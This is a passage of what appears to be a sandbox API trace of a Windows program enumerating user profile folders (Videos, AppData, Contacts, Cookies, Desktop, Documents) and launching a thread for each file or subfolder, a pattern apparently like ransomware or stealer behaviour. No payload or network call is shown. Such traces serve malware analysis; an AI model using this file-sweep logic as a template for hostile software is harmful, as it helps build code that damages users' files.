_Dest=0x43b2d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.486] wcscat (in: _Dest=0x43b2d0, _Source="_14b UCeAhpFb.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_14b UCeAhpFb.mp4" [0049.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c [0049.487] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9e6340, ftCreationTime.dwHighDateTime=0x1d4d4b9, ftLastAccessTime.dwLowDateTime=0x53770130, ftLastAccessTime.dwHighDateTime=0x1d4d0d0, ftLastWriteTime.dwLowDateTime=0x53770130, ftLastWriteTime.dwHighDateTime=0x1d4d0d0, nFileSizeHigh=0x0, nFileSizeLow=0x10d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="_14b UCeAhpFb.mp4", cAlternateFileName="_14BUC~1.MP4")) returned 0 [0049.487] FindClose (in: hFindFile=0x40a268 | out: hFindFile=0x40a268) returned 1 [0049.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f060) returned 1 [0049.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414468) returned 1 [0049.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4144c0) returned 1 Thread: id = 192 os_tid = 0x5f4 [0046.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x40a2a8 [0046.296] wcscpy (in: _Dest=0x40a2a8, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0046.296] wcscat (in: _Dest=0x40a2a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0046.296] wcscat (in: _Dest=0x40a2a8, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\*") returned="C:\\Users\\Default\\AppData\\*" [0046.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f2c8 [0046.296] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0046.296] wcscmp (_String1=".", _String2=".") returned 0 [0046.296] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.296] wcscmp (_String1="..", _String2=".") returned 1 [0046.296] wcscmp (_String1="..", _String2="..") returned 0 [0046.296] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0046.296] wcscmp (_String1="Local", _String2=".") returned 1 [0046.296] wcscmp (_String1="Local", _String2="..") returned 1 [0046.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402408 [0046.297] wcscpy (in: _Dest=0x402408, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0046.297] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0046.297] wcscat (in: _Dest=0x402408, _Source="Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0047.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0047.922] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0047.922] wcscmp (_String1="LocalLow", _String2=".") returned 1 [0047.922] wcscmp (_String1="LocalLow", _String2="..") returned 1 [0047.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444dc0 [0047.922] wcscpy (in: _Dest=0x444dc0, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0047.922] wcscat (in: _Dest=0x444dc0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0047.922] wcscat (in: _Dest=0x444dc0, _Source="LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0047.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0047.923] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0047.923] wcscmp (_String1="Roaming", _String2=".") returned 1 [0047.923] wcscmp (_String1="Roaming", _String2="..") returned 1 [0047.923] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x445220 [0047.923] wcscpy (in: _Dest=0x445220, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0047.923] wcscat (in: _Dest=0x445220, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0047.923] wcscat (in: _Dest=0x445220, _Source="Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0047.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0047.924] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0047.925] FindClose (in: hFindFile=0x40a2e8 | out: hFindFile=0x40a2e8) returned 1 [0047.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f2c8) returned 1 [0047.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a2a8) returned 1 [0047.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409aa8) returned 1 Thread: id = 193 os_tid = 0x5d8 [0046.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444dc0 [0046.297] wcscpy (in: _Dest=0x444dc0, _Source="C:\\Users\\Default\\Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0046.297] wcscat (in: _Dest=0x444dc0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0046.297] wcscat (in: _Dest=0x444dc0, _Source="*" | out: _Dest="C:\\Users\\Default\\Application Data\\*") returned="C:\\Users\\Default\\Application Data\\*" [0046.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f530 [0046.297] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f530) returned 1 [0046.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444dc0) returned 1 [0046.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e60) returned 1 Thread: id = 194 os_tid = 0x53c [0046.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x40a328 [0046.298] wcscpy (in: _Dest=0x40a328, _Source="C:\\Users\\Default\\Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0046.298] wcscat (in: _Dest=0x40a328, _Source="\\" | out: _Dest="C:\\Users\\Default\\Contacts\\") returned="C:\\Users\\Default\\Contacts\\" [0046.298] wcscat (in: _Dest=0x40a328, _Source="*" | out: _Dest="C:\\Users\\Default\\Contacts\\*") returned="C:\\Users\\Default\\Contacts\\*" [0046.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f530 [0046.298] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0046.299] wcscmp (_String1=".", _String2=".") returned 0 [0046.299] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.299] wcscmp (_String1="..", _String2=".") returned 1 [0046.299] wcscmp (_String1="..", _String2="..") returned 0 [0046.299] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0046.299] wcscmp (_String1="Administrator.contact", _String2=".") returned 1 [0046.299] wcscmp (_String1="Administrator.contact", _String2="..") returned 1 [0046.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446050 [0046.299] wcscpy (in: _Dest=0x446050, _Source="C:\\Users\\Default\\Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0046.299] wcscat (in: _Dest=0x446050, _Source="\\" | out: _Dest="C:\\Users\\Default\\Contacts\\") returned="C:\\Users\\Default\\Contacts\\" [0046.299] wcscat (in: _Dest=0x446050, _Source="Administrator.contact" | out: _Dest="C:\\Users\\Default\\Contacts\\Administrator.contact") returned="C:\\Users\\Default\\Contacts\\Administrator.contact" [0048.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0048.989] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.989] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.989] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.989] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0048.990] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0048.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f530) returned 1 [0048.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a328) returned 1 [0048.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409c68) returned 1 Thread: id = 195 os_tid = 0x878 [0046.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x40a3a8 [0046.300] wcscpy (in: _Dest=0x40a3a8, _Source="C:\\Users\\Default\\Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0046.300] wcscat (in: _Dest=0x40a3a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0046.300] wcscat (in: _Dest=0x40a3a8, _Source="*" | out: _Dest="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*" [0046.300] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f798 [0046.300] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f798) returned 1 [0046.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a3a8) returned 1 [0046.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ca8) returned 1 Thread: id = 196 os_tid = 0x6ac [0046.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409ca8 [0046.305] wcscpy (in: _Dest=0x409ca8, _Source="C:\\Users\\Default\\Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0046.305] wcscat (in: _Dest=0x409ca8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0046.306] wcscat (in: _Dest=0x409ca8, _Source="*" | out: _Dest="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*" [0046.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f798 [0046.306] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3a8 [0046.306] wcscmp (_String1=".", _String2=".") returned 0 [0046.306] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.306] wcscmp (_String1="..", _String2=".") returned 1 [0046.306] wcscmp (_String1="..", _String2="..") returned 0 [0046.306] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.306] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.306] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.306] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.306] FindClose (in: hFindFile=0x40a3a8 | out: hFindFile=0x40a3a8) returned 1 [0046.306] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f798) returned 1 [0046.306] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ca8) returned 1 [0046.306] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ce8) returned 1 Thread: id = 197 os_tid = 0x794 [0046.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402960 [0046.309] wcscpy (in: _Dest=0x402960, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0046.309] wcscat (in: _Dest=0x402960, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0046.309] wcscat (in: _Dest=0x402960, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*" [0046.310] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f798 [0046.310] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ce8 [0046.310] wcscmp (_String1=".", _String2=".") returned 0 [0046.310] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.310] wcscmp (_String1="..", _String2=".") returned 1 [0046.310] wcscmp (_String1="..", _String2="..") returned 0 [0046.311] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.311] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.311] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.311] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0046.311] wcscmp (_String1="My Music", _String2=".") returned 1 [0046.311] wcscmp (_String1="My Music", _String2="..") returned 1 [0046.311] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444e60 [0046.311] wcscpy (in: _Dest=0x444e60, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0046.311] wcscat (in: _Dest=0x444e60, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0046.311] wcscat (in: _Dest=0x444e60, _Source="My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0048.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0048.991] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0048.991] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0048.991] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0048.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4143b8 [0048.991] wcscpy (in: _Dest=0x4143b8, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0048.991] wcscat (in: _Dest=0x4143b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0048.991] wcscat (in: _Dest=0x4143b8, _Source="My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0048.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4143b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0048.992] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0048.992] wcscmp (_String1="My Videos", _String2=".") returned 1 [0048.992] wcscmp (_String1="My Videos", _String2="..") returned 1 [0048.993] RtlAllocateHeap 